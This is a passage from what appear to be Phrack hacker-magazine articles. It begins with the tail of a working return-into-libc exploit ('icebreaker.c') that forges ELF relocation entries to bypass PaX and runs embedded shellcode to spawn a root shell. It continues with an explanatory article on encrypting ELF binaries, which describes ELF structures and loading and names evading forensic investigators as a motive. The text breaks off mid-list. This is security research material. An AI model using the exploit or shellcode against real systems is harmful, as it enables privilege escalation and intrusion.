real_index = ((unsigned int) null_short ‑ VERSYM) / sizeof(*null_short); sym = (Elf32_Sym *)(real_index * sizeof(*sym) + SYMTAB); if ((unsigned int) sym > (unsigned int) tmp + RQSIZE) { fprintf(stderr,

"mmap symbol entry is too far, increase RQSIZE\n"); exit(1);

}

strcpy(symbol_name, "mmap");

sym‑>st_name = (unsigned int) symbol_name ‑ (unsigned int) STRTAB; sym‑>st_value = (unsigned int) &dummy_writable_int; sym‑>st_size = ANYTHING;

sym‑>st_info = ANYTHING;

sym‑>st_other = ANYTHING & ~3;

sym‑>st_shndx = ANYTHING;

reloc_offset = (unsigned int) (&reloc) ‑ JMPREL; reloc.r_info = R_386_JMP_SLOT + real_index*256; reloc.r_offset = (unsigned int) &dummy_writable_int;

doit(reloc_offset);

printf("not reached\n");

return 0;

}

<‑‑>

<++> phrack‑nergal/icebreaker.c !19d7ec6d

/* by Nergal */

#include <stdio.h>

#include <stddef.h>

#include <sys/mman.h>

#include <string.h>

#include <unistd.h>

#include <stdlib.h>

#define STRCPY 0x080483cc

#define LEAVERET 0x08048359

#define FRAMESINDATA 0x08049ac0

#define STRTAB 0x8048204

#define SYMTAB 0x8048164

#define JMPREL 0x80482f4

#define VERSYM 0x80482a8

#define PLT 0x0804835c

#define VIND 0x804859b

#define MMAP_START 0xaa011000

char hellcode[] = "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";

/*

Unfortunately, if mmap_string = "mmap", accidentaly there appears a "0" in our payload. So, we shift the name by 1 (one 'x').

*/

#define NAME_ADD_OFF 1

char mmap_string[] = "xmmap";

struct two_arg {

unsigned int new_ebp;

unsigned int func;

unsigned int leave_ret;

unsigned int param1;

unsigned int param2;

};

struct mmap_plt_args {

unsigned int new_ebp;

unsigned int put_plt_here;

unsigned int reloc_offset;

unsigned int leave_ret;

unsigned int start;

unsigned int length;

unsigned int prot;

unsigned int flags;

unsigned int fd;

unsigned int offset;

};

struct my_elf_rel {

unsigned int r_offset;

unsigned int r_info;

};

struct my_elf_sym {

unsigned int st_name;

unsigned int st_value;

unsigned int st_size; /* Symbol size */

unsigned char st_info; /* Symbol type and binding */

unsigned char st_other; /* ELF spec say: No defined meaning, 0 */

unsigned short st_shndx; /* Section index */

};

struct ourbuf {

struct two_arg reloc;

struct two_arg zero[8];

struct mmap_plt_args mymmap;

struct two_arg trans;

char hell[sizeof(hellcode)];

struct my_elf_rel r;

struct my_elf_sym sym;

char mmapname[sizeof(mmap_string)];

};

struct ov {

char scratch[24];

unsigned int ebp;

unsigned int eip;

};

#define PTR_TO_NULL (VIND+1)

/* this functions prepares strcpy frame so that the strcpy call will zero

a byte at "addr"

*/

void fix_zero(struct ourbuf *b, unsigned int addr, int idx)

{

b‑>zero[idx].new_ebp = FRAMESINDATA + offsetof(struct ourbuf,

zero) + sizeof(struct two_arg) * (idx + 1); b‑>zero[idx].func = STRCPY;

b‑>zero[idx].leave_ret = LEAVERET; b‑>zero[idx].param1 = addr;

b‑>zero[idx].param2 = PTR_TO_NULL;

}

/* this function checks if the byte at position "offset" is zero; if so,

prepare a strcpy frame to nullify it; else, prepare a strcpy frame to nullify some secure, unused location */

void setup_zero(struct ourbuf *b, unsigned int offset, int zeronum) {

char *ptr = (char *) b;

if (!ptr[offset]) {

fprintf(stderr, "fixing zero at %i(off=%i)\n", zeronum, offset);

ptr[offset] = 0xff;

fix_zero(b, FRAMESINDATA + offset, zeronum); } else

fix_zero(b, FRAMESINDATA + sizeof(struct ourbuf) + 4, zeronum);

}

/* same as above, but prepare to nullify a byte not in our payload, but at

absolute address abs */

void setup_zero_abs(struct ourbuf *b, unsigned char *addr, int offset, int zeronum)

{

char *ptr = (char *) b;

if (!ptr[offset]) {

fprintf(stderr, "fixing abs zero at %i(off=%i)\n", zeronum, offset);

ptr[offset] = 0xff;

fix_zero(b, (unsigned int) addr, zeronum); } else

fix_zero(b, FRAMESINDATA + sizeof(struct ourbuf) + 4, zeronum);

}

int main(int argc, char **argv)

{

char lng[sizeof(struct ov) + 4 + 1];

char str[sizeof(struct ourbuf) + 4 + 1];

char *env[3] = { lng, str, 0 };

struct ourbuf thebuf;

struct ov theov;

int i;

unsigned int real_index, mysym, reloc_offset;

memset(theov.scratch, 'X', sizeof(theov.scratch)); if (argc == 2 && !strcmp("testing", argv[1])) { for (i = 0; i < sizeof(theov.scratch); i++) theov.scratch[i] = i + 0x10; theov.ebp = 0x01020304;

theov.eip = 0x05060708;

} else {

theov.ebp = FRAMESINDATA; theov.eip = LEAVERET;

}

strcpy(lng, "LNG=");

memcpy(lng + 4, &theov, sizeof(theov));

lng[4 + sizeof(theov)] = 0;

memset(&thebuf, 'A', sizeof(thebuf));

real_index = (VIND ‑ VERSYM) / 2;

mysym = SYMTAB + 16 * real_index;

fprintf(stderr, "mysym=0x%x\n", mysym);

if (mysym > FRAMESINDATA

&& mysym < FRAMESINDATA + sizeof(struct ourbuf) + 16) { fprintf(stderr,

"syment intersects our payload;" " choose another VIND or FRAMESINDATA\n"); exit(1);

}

reloc_offset = FRAMESINDATA + offsetof(struct ourbuf, r) ‑ JMPREL;

/* This strcpy call will relocate my_elf_sym from our payload to a fixed,

appropriate location (mysym)

*/

thebuf.reloc.new_ebp =

FRAMESINDATA + offsetof(struct ourbuf, zero); thebuf.reloc.func = STRCPY;

thebuf.reloc.leave_ret = LEAVERET; thebuf.reloc.param1 = mysym;

thebuf.reloc.param2 = FRAMESINDATA + offsetof(struct ourbuf, sym);

thebuf.mymmap.new_ebp =

FRAMESINDATA + offsetof(struct ourbuf, trans); thebuf.mymmap.put_plt_here = PLT; thebuf.mymmap.reloc_offset = reloc_offset; thebuf.mymmap.leave_ret = LEAVERET; thebuf.mymmap.start = MMAP_START; thebuf.mymmap.length = 0x01020304; thebuf.mymmap.prot =

0x01010100 | PROT_EXEC | PROT_READ | PROT_WRITE; thebuf.mymmap.flags =

0x01010000 | MAP_EXECUTABLE | MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS;

thebuf.mymmap.fd = 0xffffffff; thebuf.mymmap.offset = 0x01021000;

thebuf.trans.new_ebp = 0x01020304; thebuf.trans.func = STRCPY;

thebuf.trans.leave_ret = MMAP_START + 1; thebuf.trans.param1 = MMAP_START + 1; thebuf.trans.param2 = FRAMESINDATA + offsetof(struct ourbuf, hell);

memset(thebuf.hell, 'x', sizeof(thebuf.hell)); memcpy(thebuf.hell, hellcode, strlen(hellcode));

thebuf.r.r_info = 7 + 256 * real_index; thebuf.r.r_offset = FRAMESINDATA + sizeof(thebuf) + 4; thebuf.sym.st_name =

FRAMESINDATA + offsetof(struct ourbuf, mmapname) + NAME_ADD_OFF‑ STRTAB;

thebuf.sym.st_value = FRAMESINDATA + sizeof(thebuf) + 4; #define ANYTHING 0xfefefe80

thebuf.sym.st_size = ANYTHING;

thebuf.sym.st_info = (unsigned char) ANYTHING; thebuf.sym.st_other = ((unsigned char) ANYTHING) & ~3; thebuf.sym.st_shndx = (unsigned short) ANYTHING;

strcpy(thebuf.mmapname, mmap_string);

/* setup_zero[_abs] functions prepare arguments for strcpy calls, which

are to nullify certain bytes

*/

setup_zero(&thebuf,

offsetof(struct ourbuf, r) + offsetof(struct my_elf_rel, r_info) + 2, 0);

setup_zero(&thebuf,

offsetof(struct ourbuf, r) + offsetof(struct my_elf_rel, r_info) + 3, 1);

setup_zero_abs(&thebuf,

(char *) mysym + offsetof(struct my_elf_sym, st_name) + 2, offsetof(struct ourbuf, sym) + offsetof(struct my_elf_sym, st_name) + 2, 2);

setup_zero_abs(&thebuf,

(char *) mysym + offsetof(struct my_elf_sym, st_name) + 3, offsetof(struct ourbuf, sym) + offsetof(struct my_elf_sym, st_name) + 3, 3);

setup_zero(&thebuf,

offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_plt_args, start), 4);

setup_zero(&thebuf,

offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_plt_args, offset), 5);

setup_zero(&thebuf,

offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_plt_args, reloc_offset) + 2, 6);

setup_zero(&thebuf,

offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_plt_args, reloc_offset) + 3, 7);

strcpy(str, "STR=");

memcpy(str + 4, &thebuf, sizeof(thebuf));

str[4 + sizeof(thebuf)] = 0;

if (sizeof(struct ourbuf) + 4 >

strlen(str) + sizeof(thebuf.mmapname)) { fprintf(stderr,

"Zeroes in the payload, sizeof=%d, len=%d, correct it !\n", sizeof(struct ourbuf) + 4, strlen(str)); fprintf(stderr, "sizeof thebuf.mmapname=%d\n", sizeof(thebuf.mmapname)); exit(1);

}

execle("./pax", "pax", 0, env, 0);

return 1;

}

Runtime binary encryption

==Phrack Inc.==

Volume 0x0b, Issue 0x3a, Phile #0x05 of 0x0e

|=‑‑‑‑=[ Armouring the ELF: Binary encryption on the UNIX platform ]=‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑=[ grugq <grugq@lokmail.net>, scut <scut@team‑teso.net> ]=‑‑‑‑‑‑=|

‑‑[ Contents

‑ Introduction

‑ Why encrypt?

‑ What is binary encryption?

‑ The threat

‑ ELF format

‑ ELF headers

‑ ELF sections

‑ ELF segments

‑ ELF support and history

‑ ELF loading

‑ ELF loading ‑ Linux

‑ ELF Linux ‑ auxiliary vectors

‑ ELF mapping

‑ Binary encryption theory

‑ Runtime decryption techniques

‑ ELF parasite approach

‑ Packing/Userspace ELF loader

‑ The future

‑ References

‑‑[ Introduction

The UNIX world has lagged far behind the Microsoft world (including both MS‑DOS and MS Windows) in the twin realms of binary protection and reverse engineering.

The variety and types of binary protection are a major area of difference. MS Windows PE binaries can be encrypted, packed, wrapped, and thoroughly obfuscated, and then decrypted, unpacked, unwrapped, and reconstructed. Conversely, the best that can be done to a UNIX ELF binary is stripping the debugging symbol table. There are no deconstructors, no wrappers, no encrypters, and only a single packer (UPX [12], aimed at decreasing disk space, not increasing protection) for the ELF. Clearly the UNIX ELF binary is naked compared to the powerful protections afforded the Windows PE binary format.

The quantity and quality of reverse engineering tools are other key areas of significant gulf. The runtime environment of the PE binary, and indeed the very operating system it executes on, is at the mercy of the brilliant debugger SoftICE. Meanwhile the running ELF can only be examined one word at a time via the crippled system call ptrace(), imperfectly interfaced via adb and its brain dead cousin: gdb. The procfs, on those systems on which it is present, typically only provides the ability to examine a process rather than control it. Indeed, the UNIX world is an unrealised nightmare for the UNIX reverse engineer. Unrealised because up until now no one has bothered to protect an ELF binary.

‑‑[ Why encrypt?

The prime motivator for protecting files on MS platforms has been to enforce copy protection in a failed attempt to ensure payment for shareware applications. As of now, there is no such motivation on the UNIX side, but there are other reasons to protect binaries.

From the viewpoint of an attacker the reasons to protect binaries can be listed as:

‑ hindering forensic analysis in case of detection ‑ hindering copying of confidential data (possibly by other attackers or commercially motivated forensic investigators*) ‑ adding functionality to the protected binary

From the point of view of a defender, there are also good reasons to protect binaries. These can be enumerated as

‑ adding a level of authorization checks

‑ hindering analysis of customised intrusion detection tools (tools that an attacker might figure out how to evade, were they to discover their purpose)

‑ adding functionality to the protected binary

The need to protect binaries from analysis in the UNIX world has clearly surfaced.

* Certain big five companies sell their collections of recovered exploits for an annual fee.

‑‑[ What is binary encryption?

The reasons to protect a binary are clear, now we have to come up with a good design for the protection itself. When we talk of protecting binaries it is important to know what sort of protection we expect to achieve; we must define our requirements. The requirements for this implementation are as follows:

‑ Only authorised individuals may execute the binary. ‑ The on disk binary must be immune for all methods of static analysis which might reveal anything substantial about the purposes/methods of the binary.

‑ The process image of the binary, something that unfortunately cannot be hidden, must obscure the purposes/methods of the binary.

‑ The mechanism for protecting the binary must be production quality, being both robust and reliable.

The best mechanism to fulfill all of these requirements is with some form of encryption. We know enough of what we want that we can now define the term "binary encryption" as the process of protecting a binary from reverse engineering and analysis, while keeping it intact and executeable to the underlying operating system. Thus, when we talk of binary encryption we refer to a robust security mechanism for protecting binaries.

‑‑[ The threat

Today most of the so called "forensic analysts" have very few tools and knowledge at hand to counter anything more sophisticated than rm, strip and some uncautious attacker. This has been demostrated in the public analysis of the x2 binary [14]. Two seminal forensic investigators have been completely stumped by a relatively simple binary protection. It is worth mentioning that two private reverse engineers reversed the x2 binary to C source code in approximately one day.

The Unix forensic investigater has an extremely limited range of tools at her disposal for analysis of a compromised machine. These tools tend to be targeted at debugging a misbehaving system, rather than analysing a compromised system. While locate, find, lsof and netstat are fine when attempting to keep a production system from falling over, when it comes to investigating a breakin, they fall short on usefulness. Even TCT is severly limited in its capabilities (although that is the subject of another paper).

If the broad analysis of an entire system is so impaired, binary analysis is even more so. The forensic analyst is equiped with tools designed to debug binaries straight from the back end of an accomidating compiler, not the hostile binaries packaged by a crafty attacker. The list of tools is short, but for completeness presented here: strings, objdump, readelf, ltrace, strace, and gdb. These tools are all based on two flawed interfaces: libbfd and ptrace(). There are superior tools currently in development, but they are primarily intended for, and used by, Unix reverse engineers and other individuals with "alternative" motivations.

Barring these private reverse engineering applications, no Unix tools exist to tackle sophisticated hostile code. This is because the basic Unix debugging hooks are very limited. The ubiquitus ptrace() can be easily subverted and confused, and while /proc interface is more feature rich, it is not uniform across platforms. Additionally the /proc debugging interface typically provides only information about the runtime environment of a process, not control over its exectuion. Even the most sophisticated procfs need not be of any help to the analyst, if the binary is sufficiently protected.

That said, there has been some slight improvement in the quality of analysis tools. The powerful Windows only disassembler ‑ IDA ‑ now provides complete support for the ELF binary format. Indeed, with the latest release IDA can finally handle ELF binaries without a section header table (thanks Ilfak).

These improvements in the available tools are meaningless however, unless there is an accompanying increase in knowledge and skill for the forensic analysers. Given that there are almost no skilled reverse engineers in forensic analysis (based on the published material one could easily conclude that there are none), the hackers will have the upper hand at the start of this arms race.

As the underground world struggles with with the issue of leaking exploits and full vs. non disclusure, more hackers will see binary encryption as a means of securing their intellectual property. Simultaneously the security community is going to be exposed to more encrypted binaries, and will have to learn to analyse a hostile binary.

‑‑[ ELF format

The 'Executeable and Linking Format' is a standardized file format for executeable code. It is mostly used for executeable files (ET_EXEC) or for shared libraries (ET_DYN). Currently almost all modern Unix variants support the ELF format for its portability, standardized features and designed‑from‑scratch cleaness. The actual version of the ELF standard is 1.2. There are multiple documents covering the standard, see [1].

The ELF binary format was designed to meet the requirements of both linkers (typically used during compile time) and loaders (typically used only during run time). This nessicitated the incorporation of two distinct interfaces to describe the data contained within the binary file. These two interfaces have no dependancy on each other. This section will act as a brief introduction to both interfaces of the ELF.

‑‑[ ELF headers

An ELF file must contain at a minimum an ELF header. The ELF header contains information regarding how the contents of the binary file should be interpreted, as well as the locations of the other structures describing the binary. The ELF header starts at offset 0 within the file, and has the following format:

#define EI_NIDENT (16)

typedef struct

{

unsigned char e_ident[EI_NIDENT]; /* Magic number and other info */

Elf32_Half e_type; /* Object file type */

Elf32_Half e_machine; /* Architecture */

Elf32_Word e_version; /* Object file version */

Elf32_Addr e_entry; /* Entry point virtual address */

Elf32_Off e_phoff; /* Program header table file offset */

Elf32_Off e_shoff; /* Section header table file offset */

Elf32_Word e_flags; /* Processor‑specific flags */

Elf32_Half e_ehsize; /* ELF header size in bytes */

Elf32_Half e_phentsize; /* Program header table entry size */

Elf32_Half e_phnum; /* Program header table entry count */

Elf32_Half e_shentsize; /* Section header table entry size */

Elf32_Half e_shnum; /* Section header table entry count */

Elf32_Half e_shstrndx; /* Section header string table index */

} Elf32_Ehdr;

The fields are explained in detail below:

* e_ident has certain known offsets that contain information about how to treat and interpret the binary. Be warned that Linux defines additional indices and values that are not contained in the SysV ABI, and are therefore non‑portable. These are the official known offsets, and their potential values:

#define EI_MAG0 0 /* File identification byte 0 index */

#define ELFMAG0 0x7f /* Magic number byte 0 */

#define EI_MAG1 1 /* File identification byte 1 index */

#define ELFMAG1 'E' /* Magic number byte 1 */

#define EI_MAG2 2 /* File identification byte 2 index */

#define ELFMAG2 'L' /* Magic number byte 2 */

#define EI_MAG3 3 /* File identification byte 3 index */

#define ELFMAG3 'F' /* Magic number byte 3 */

#define EI_CLASS 4 /* File class byte index */

#define ELFCLASSNONE 0 /* Invalid class */

#define ELFCLASS32 1 /* 32‑bit objects */

#define ELFCLASS64 2 /* 64‑bit objects */

#define EI_DATA 5 /* Data encoding byte index */

#define ELFDATANONE 0 /* Invalid data encoding */

#define ELFDATA2LSB 1 /* 2's complement, little endian */

#define ELFDATA2MSB 2 /* 2's complement, big endian */

#define EI_VERSION 6 /* File version byte index */

#define EV_CURRENT 1 /* Value must be EV_CURRENT */

* e_type describes how the binary is intended to be utilised. The following are legal values:

#define ET_NONE 0 /* No file type */

#define ET_REL 1 /* Relocatable file */

#define ET_EXEC 2 /* Executable file */

#define ET_DYN 3 /* Shared object file */

#define ET_CORE 4 /* Core file */

* e_machine indicates for which architecture the object file is intended. The following is a short list of the most common values:

#define EM_SPARC 2 /* SUN SPARC */

#define EM_386 3 /* Intel 80386 */

#define EM_SPARCV9 43 /* SPARC v9 64‑bit */

#define EM_IA_64 50 /* Intel Merced */

* e_version indicates which version of ELF the object file conforms too. Currently it must be set to EV_CURRENT, identical to e_ident[EI_VERSION].

* e_entry contains the relative virtual address of the entry point to the binary. This is traditionally the function _start() which is located at the start of the .text section (see below). This field only has meaning for ET_EXEC objects.

* e_phoff conatins the offset from the start of the file to the first Program Header (see below). This field is only meaningful in ET_EXEC and ET_DYN objects.

* e_shoff contains the offset from the start of the file to the first Section Header (see below). This field is always useful to the reverse engineer, but only required on ET_REL files.

* e_flags contains processor specific flags. This field is not used on i386 or SPARC systems, so it can be safely ignored.

* e_ehsize contains the size of the ELF header. This is for error checking and should be set to sizeof(Elf32_Ehdr).

* e_phentsize contains the size of a Program Header. This is for error checking and should be set to sizeof(Elf32_Phdr).

* e_phnum contains the number of Program headers. The program header table is an array of Elf32_Phdr with e_phnum elements.

* e_shentsize contains the size of a Section Header. This is for error checking and should be set to sizeof(Elf32_Shdr).

* e_shnum contains the number of Section headers. The section header table is an array of Elf32_Shdr with e_shnum elements.

* e_shstrndx contains the index within the section header table of the section containing the string table of section names (see below).

The following two sections describe in detail the linking interface and the execution interface to the ELF, respectively.

‑‑[ ELF Sections

The interface used when linking multiple object files together is the Section interface. The binary file is viewed as an collection of sections; each an array of bytes of which no byte may reside in more than one secion. The contents of a section may be interpreted in any way by the inspecting application, although there is helper information to enable an application to correctly interpret a section's contents. Each section is described by a section header, contained within a section header table typically located at the end of the object. The section header table is an array of section headers in arbitrary order, although usually in the same order as they appear in the file, with the only exeption being that the zeroeth entry is the NULL section: a section which is set to 0 and doesn't describe any part of the binary. Each section header has the following format:

typedef struct

{

Elf32_Word sh_name; /* Section name (string tbl index) */

Elf32_Word sh_type; /* Section type */

Elf32_Word sh_flags; /* Section flags */

Elf32_Addr sh_addr; /* Section virtual addr at execution */

Elf32_Off sh_offset; /* Section file offset */

Elf32_Word sh_size; /* Section size in bytes */

Elf32_Word sh_link; /* Link to another section */

Elf32_Word sh_info; /* Additional section information */

Elf32_Word sh_addralign; /* Section alignment */

Elf32_Word sh_entsize; /* Entry size if section holds table */

} Elf32_Shdr;

The fields of the section header have the following meanings:

* sh_name contains an index into the section contents of the e_shstrndx string table. This index is the start of a null terminated string to be used as the name of the section. There are reserved names, the most important being:

.textExecutable object code

.rodataRead only strings

.dataInitialised "static" data

.bssZero initialized "static" data, and the

base of the heap

* sh_type contains the section type, helping the inspecting application to determine how to interpret the sections contents. The following are legal values:

#define SHT_NULL 0 /* Section header table entry unused */

#define SHT_PROGBITS 1 /* Program data */

#define SHT_SYMTAB 2 /* Symbol table */

#define SHT_STRTAB 3 /* String table */

#define SHT_RELA 4 /* Relocation entries with addends */

#define SHT_HASH 5 /* Symbol hash table */

#define SHT_DYNAMIC 6 /* Dynamic linking information */

#define SHT_NOTE 7 /* Notes */

#define SHT_NOBITS 8 /* Program space with no data (bss) */

#define SHT_REL 9 /* Relocation entries, no addends */

#define SHT_SHLIB 10 /* Reserved */

#define SHT_DYNSYM 11 /* Dynamic linker symbol table */

* sh_flags contains a bitmap defining how the contents of the section are to be treated at run time. Any bitwise OR'd value of the following is legal:

#define SHF_WRITE (1 << 0) /* Writable */

#define SHF_ALLOC (1 << 1) /* Occupies memory during execution */

#define SHF_EXECINSTR (1 << 2) /* Executable */

* sh_addr contains the relative virtual address of the section during runtime.

* sh_offset contains the offset from the start of the file to the first byte of the section.

* sh_size contains the size in bytes of the section.

* sh_link is used to link associated sections together. This is typically used to link a string table to a section whose contents require a string table for correct intepretation, e.g. symbol tables.

* sh_info is a used to contain extra information to aid in link editing. This field has exactly two uses, indicating which section a relocation applies to for SHT_REL[A] sections, and holding the maximum number of elements plus one within a symbol table.

* sh_addralign contains the alignment requirement of section contents, typically 0/1 (both meaning no alignment) or 4.

* sh_entsize, if the section holds a table, contains the size of each element. Used for error checking.

‑‑[ ELF Segments

The ELF segment interface is used to during the creation of a process image. Each segment, a contiguous stream of bytes, (not to be confused with a memory segment, i.e. one page) is described by a program header. The program headers are contained in a program header table described by the ELF header. This table can be located anywhere, but is typically located immediately after the ELF header *. The program header is now described in depth:

typedef struct

{

Elf32_Wordp_type;/* Segment type */

Elf32_Offp_offset;/* Segment file offset */

Elf32_Addrp_vaddr;/* Segment virtual address */

Elf32_Addrp_paddr;/* Segment physical address */

Elf32_Wordp_filesz;/* Segment size in file */

Elf32_Wordp_memsz;/* Segment size in memory */

Elf32_Wordp_flags;/* Segment flags */

Elf32_Wordp_align;/* Segment alignment */

} Elf32_Phdr;

The fields have the following meanings:

* p_type describes how to treat the contents of a segment. The following are legal values:

#define PT_NULL 0 /* Program header table entry unused */

#define PT_LOAD 1 /* Loadable program segment */

#define PT_DYNAMIC 2 /* Dynamic linking information */

#define PT_INTERP 3 /* Program interpreter */

#define PT_NOTE 4 /* Auxiliary information */

#define PT_SHLIB 5 /* Reserved */

#define PT_PHDR 6 /* Entry for header table itself */

* p_offset contains the offset within the file of the first byte of the segment.

* p_vaddr contains the realtive virtual address the segment expects to be loaded into memory at.

* p_paddr contains the physical address of the segment expects to be loaded into memory at. This field has no meaning unless the hardware supports and requires this information. Typically this field is set to either 0 or the same value as p_vaddr.

* p_filesz contains the size in bytes of the segment within the file.

* p_memsz contains the size in bytes of the segment once loaded into memory. If the segment has a larger p_memsz than p_filesz, the remaining space is initialised to 0. This is the mechanism used to create the .bss during program loading.

* p_flags contains the memory protection flags for the segment once loaded. Any bit wise OR'd combination of following are legal values:

#define PF_X (1 << 0) /* Segment is executable */

#define PF_W (1 << 1) /* Segment is writable */

#define PF_R (1 << 2) /* Segment is readable */

* p_align contains the alignment for the segment in memory. If the segment is of type PT_LOAD, then the alignment will be the expected page size.

* FreeBSD's dynamic linker requires the program header table to be located within the first page (4096 bytes) of the binary.

‑‑[ ELF format ‑ support and history

The ELF format has widely gained acceptance as a reliable and mature executeable format. It is flexible, being able to support different architectures, 32 and 64 bit alike, without compromising too much of its design.

As of now, the following systems support the ELF format:

DGUX | ELF, ?, ?

FreeBSD | ELF, 32/64 bit, little/big endian IRIX | ELF, 64 bit, big endian

Linux | ELF, 32/64 bit, little/big endian NetBSD | ELF, 32/64 bit, little/big endian Solaris | ELF, 32/64 bit, little/big endian UnixWare | ELF, 32 bit, little endian

The 32/64 bit differences on a single system is due to different architectures the operating systems is able to run on.

‑‑[ ELF loading

An ELF binary is loaded by mapping all PT_LOAD segments into memory at the correct locations (p_vaddr), the binary is checked for library dependancies and if they exist those libraries are loaded. Finally, any relocations that need to be done are performed, and control is transfered to the main executable's entry point. The accompanying code in load.c demonstrates one method of doing this (based on the GNU dynamic linker).

‑‑[ ELF loading ‑ Linux

Once the userspace receives control, we have this situation:

‑ All PT_LOAD segments of the binary, or if its dynamicly linked: the dynamic linker, are mapped properly

‑ Entry point: In case there is a PT_INTERP segment, the program counter is set to the entry point of the program interpreter. ‑ Entry point: In case there is no PT_INTERP segment, the program counter is initialized to the ELF header's entry point. ‑ The top of the stack is initialized with important data, see below.

When the userspace receives control, the stack layout has a fixed format. The rough order is this:

<arguments> <environ> <auxv> <string data>

The detailed layout, assuming IA32 architecture, is this (Linux kernel series 2.2/2.4):

position content size (bytes) + comment

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

stack pointer ‑> [ argc = number of args ] 4 [ argv[0] (pointer) ] 4 (program name) [ argv[1] (pointer) ] 4 [ argv[..] (pointer) ] 4 * x [ argv[n ‑ 1] (pointer) ] 4 [ argv[n] (pointer) ] 4 (= NULL)

[ envp[0] (pointer) ] 4 [ envp[1] (pointer) ] 4 [ envp[..] (pointer) ] 4 [ envp[term] (pointer) ] 4 (= NULL)

[ auxv[0] (Elf32_auxv_t) ] 8 [ auxv[1] (Elf32_auxv_t) ] 8 [ auxv[..] (Elf32_auxv_t) ] 8 [ auxv[term] (Elf32_auxv_t) ] 8 (= AT_NULL vector)

[ padding ] 0 ‑ 16

[ argument ASCIIZ strings ] >= 0 [ environment ASCIIZ str. ] >= 0

(0xbffffffc) [ end marker ] 4 (= NULL)

(0xc0000000) < top of stack > 0 (virtual)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

When the runtime linker (rtld) has done its duty of mapping and resolving all the required libraries and symbols, it does some initialization work and hands over the control to the real program entry point afterwards. As this happens, the conditions are:

‑ All required libraries mapped from 0x40000000 on ‑ All CPU registers set to zero, except the stack pointer ($sp) and the program counter ($eip/$ip or $pc). The ABI may specify further initial values, the i386 ABI requires that %edx is set to the address of the DT_FINI function.

‑‑[ ELF loading ‑ auxiliary vectors (Elf32_auxv_t).

The stack initialization is somewhat familar for a C programmer, since he knows the argc, argv and environment pointers from the parameters of his 'main' function. It gets called by the C compiler support code with exactly this parameters:

main (argc, &argv[0], &envp[0]);

However, what is more of a mystery, and usually not discussed at all, is the array of 'Elf32_auxv_t' vectors. The structure is defined in the elf.h include file:

typedef struct

{

int a_type; /* Entry type */

union

{

long int a_val; /* Integer value */

void *a_ptr; /* Pointer value */

void (*a_fcn) (void); /* Function pointer value */

} a_un;

} Elf32_auxv_t;

It is a generic type‑to‑value relationship structure used to transfer very important data from kernelspace to userspace. The array is initialized on any successful execution, but normally it is used only by the program interpreter. Lets take a look on the 'a_type' values, which define what kind of data the structure contains. The types are found in the 'elf.h' file, and although each architecture implementing the ELF standard is free to define them, there are a lot of similarities among them. The following list is from a Linux 2.4 kernel.

/* Legal values for a_type (entry type). */

#define AT_NULL 0 /* End of vector */

#define AT_IGNORE 1 /* Entry should be ignored */

#define AT_EXECFD 2 /* File descriptor of program */

#define AT_PHDR 3 /* Program headers for program */

#define AT_PHENT 4 /* Size of program header entry */

#define AT_PHNUM 5 /* Number of program headers */

#define AT_PAGESZ 6 /* System page size */

#define AT_BASE 7 /* Base address of interpreter */

#define AT_FLAGS 8 /* Flags */

#define AT_ENTRY 9 /* Entry point of program */

#define AT_NOTELF 10 /* Program is not ELF */

#define AT_UID 11 /* Real uid */

#define AT_EUID 12 /* Effective uid */

#define AT_GID 13 /* Real gid */

#define AT_EGID 14 /* Effective gid */

#define AT_CLKTCK 17 /* Frequency of times() */

Some types are mandatory for the runtime dynamic linker, while some are merely candy and remain unused. Also, the kernel does not have to use every type, infact, the order and occurance of the elements are subject to change across different kernel versions. This turns out to be important when writing our own userspace ELF loader, since the runtime dynamic linker may expect a certain format, or even worse, the headers we receive by the kernel ourselves are in different order on different systems (Linux 2.2 to 2.4 changed behaviour, for example). Anyway, if we stick to a few simple rules when parsing and setting up the headers, few things can go wrong:

‑ Always skip sizeof(Elf32_auxv_t) bytes at a time ‑ Skip any unknown AT_* type

‑ Ignore AT_IGNORE types

‑ Stop processing only at AT_NULL vector

On Linux, the runtime linker requires the following Elf32_auxv_t structures:

AT_PHDR, a pointer to the program headers of the executeable AT_PHENT, set to 'e_phentsize' element of the ELF header (constant) AT_PHNUM, number of program headers, 'e_phnum' from ELF header AT_PAGESZ, set to constant 'PAGE_SIZE' (4096 on x86) AT_ENTRY, real entry point of the executeable (from ELF header)

On other architectures there are similar requirements for very important auxiliary vectors, with which the runtime linker would not be able to work.

Some further details about the way Linux starts up an executeable can be found at [11].

‑‑[ Binary encryption theory

There is nothing new about encrypting binaries, indeed since the 1980's there have been various mechanisms developed for protecting binaries on personal computers. The most active developers of binary protections have been virus writers and shareware developers. While these techniques have evolved with advances in processing power and operating system architecture, most of the basic concepts remain the same. Essentially a plaintext decryption engine will execute first and it will decrypt the next encrypted section of code, this might be the main .text, or it might be another decryption engine.

Barring a flawed and easily cracked encryption technique (e.g. XOR with a fixed value), the first plaintext decryptor is the usually the weak point of any encrypted binary. Due to this weakness, a number of various methods have been developed for making the initial decryption engine as difficult to reverse engineer as possible.

The following is just a brief list of methods that have been used to protect the initial decryption engine:

* Self Modifying Code: Code which alters itself during run time, so that analysis of the binary file on disk is different from analysis of the memory image.

* Polymorphic Engines: Creates a unique decryption engine each time it is used so that it is more difficult to compare two files. Also, it is slightly more difficult to reverse engineer.

* Anti‑Disassembling/Debugging tricks: Tricks which attempt to confuse the tools being used by the reverse engineer. This makes it difficult for the analyst to discover what the object code is doing.

The following is a short list of encryption methods that have been used to protect the main object code of the executable:

